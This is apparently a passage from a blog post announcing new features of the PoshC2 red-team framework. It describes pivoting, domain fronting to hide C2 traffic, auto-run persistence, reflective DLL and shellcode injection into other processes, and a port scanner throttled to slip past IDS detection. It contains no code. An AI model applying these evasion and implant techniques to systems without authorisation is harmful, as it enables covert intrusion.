This will create a variety of payloads that are specific to this pivot server. Therefore, if you run the new payloads (called ‘jason’ in this instance) it would attempt to connect to the proxy port running on this host, rather than going direct to the Internet. To execute these payloads remotely, you can use any of the lateral execution methods built into PoshC2 or any of your custom lateral movement methods.

There is no limit on the number of times you can pivot into a network. However, if any of the machines in the chain get restarted for any reason, the entire chain will die. This is worth noting when performing pivoting within a network using Daisy Chaining.

DOMAIN FRONTING FOR C2 COMMS

PoshC2 can now use domain fronting for comms. There is a caveat to this; the host must have .NET v4.0.30319 installed and usable to the PowerShell instance. However, if the host does not have this version of the CLR installed it will default back to the underlying CDN hostname, for example cloudfront.net or azureedge.net. The way we perform domain fronting in PoshC2 is by adding the Host header to the web requests.

This is a much stealthier option for comms as you can utilise hostnames with better reputation without needing to buy new domains and obtain reputation yourself. There are many examples of these on the Internet, but as a proof of concept this example uses ‘d0.awsstatic.com’.

PRE-IMPLANT HELP MENU

The new pre-implant help menu allows you to configure various auto-runs, double check the server configuration and make and significant changes to the C2 server. It also allows you to test your configuration by issuing PwnSelf to obtain an implant.

Other commands that can be altered are C2 default beacon time, Clockwork SMS API key and mobile number for text message alerts of new implants.

AUTO-RUNS

We have now implemented the concept of Auto-Runs. This allows the user of PoshC2 to automate various tasks when an implant first comes in. A few use cases of this could be:

  • auto migrate from PowerShell
  • capturing a screenshot for situational awareness
  • install persistence

Essentially, any command that can be issued within PoshC2 can be turned into an Auto-Run.

This menu can be found on the pre-implant help menu. An example of this menu has been shown below:

AUTOMIGRATE-FROMPOWERSHELL (AM)

The auto migrate from PowerShell feature has been added and by default will start another process in netsh.exe unless otherwise stated by the ‘-newprocess’ parameter. This utilises unmanaged PowerShell via the C++ Reflective DLL.

C++ REFLECTIVE DLL

The C++ Reflective Dll utilises the concept from the unmanaged PowerShell code by @tifkin_.

We have created a .NET binary that is loaded by creating an instance of the CLR (v2.0.50727 or v4.0.30319) in runtime and patching the implant over the top when creating a new payload. This is done by creating a blank variable in the C++ code and overwriting the code where 5000 A’s exist. Once compiled we find the location of this code and add the offset to the PatchDLL function as shown below.

In addition, PoshC2 converts the newly created reflective DLL into Shellcode via @monoxgas’s sRDI PowerShell module. This module converts Reflective DLLs into position independent shellcode.

The Reflective DLL and new Shellcode has enabled PoshC2 to be more flexible in its execution and deployment. Many other tools will allow for a reflective DLL or shellcode to be loaded. Take for example, the MS17-010 eternal blue exploit written in Powershell. This exploit takes shellcode as a parameter to execute if the host is successfully exploited; having Shellcode as a payload format allows this to be possible.

Also for migration, we now use either the reflective DLL or the Shellcode to squirt the implant into another process. When first starting PoshC2 it will create both the reflective DLL’s as shown below.

  • Posh_x64.dll
  • Posh_x86.dll

To test these out, they can be called via rundll32:

  • Posh-shellcode_x64.bin
  • Posh-shellcode_x86.bin

To test these out, they can be called via the new Inject-Shellcode script or by using ‘migrate’ in the implant window:

PORTSCANNER

@rbmaslen has created a super fast portscanner written in C# which has been ported to PoshC2 using the AssemblyLoad function rather than AddType. This is not to obfuscate the code at all, but in case you’re not aware the add-type function in PowerShell actually compiles the code on the fly and touches disk in the interim. This is why both the SharpSocks and Portscanner modules have been written to use AssemblyLoad instead.

The port scanner can take various parameters, but mostly we like the fact you can go into ‘super fast’ mode which allows you to set the maximum queries per second (-maxQueriesPS). This is similar to masscan’s rate parameter. This is good when your intention is not to be stealthy and you want to perform quick port scanning against a target. An example has been shown below.

On the other hand, when performing Red Teaming the ultimate aim is usually to be stealthy and we have implemented the option for delaying the portscan. For example, if you set the max queries per second (-maxQueriesPS) to 1 and the delay (-Delay) to 10, it will attempt to connect to each port with a 10 second delay hopefully bypassing any host or network IDS detection. An example of this has been shown below.

CONCLUSION

Go and download the latest version of PoshC2 with SharpSocks and let us know what you think!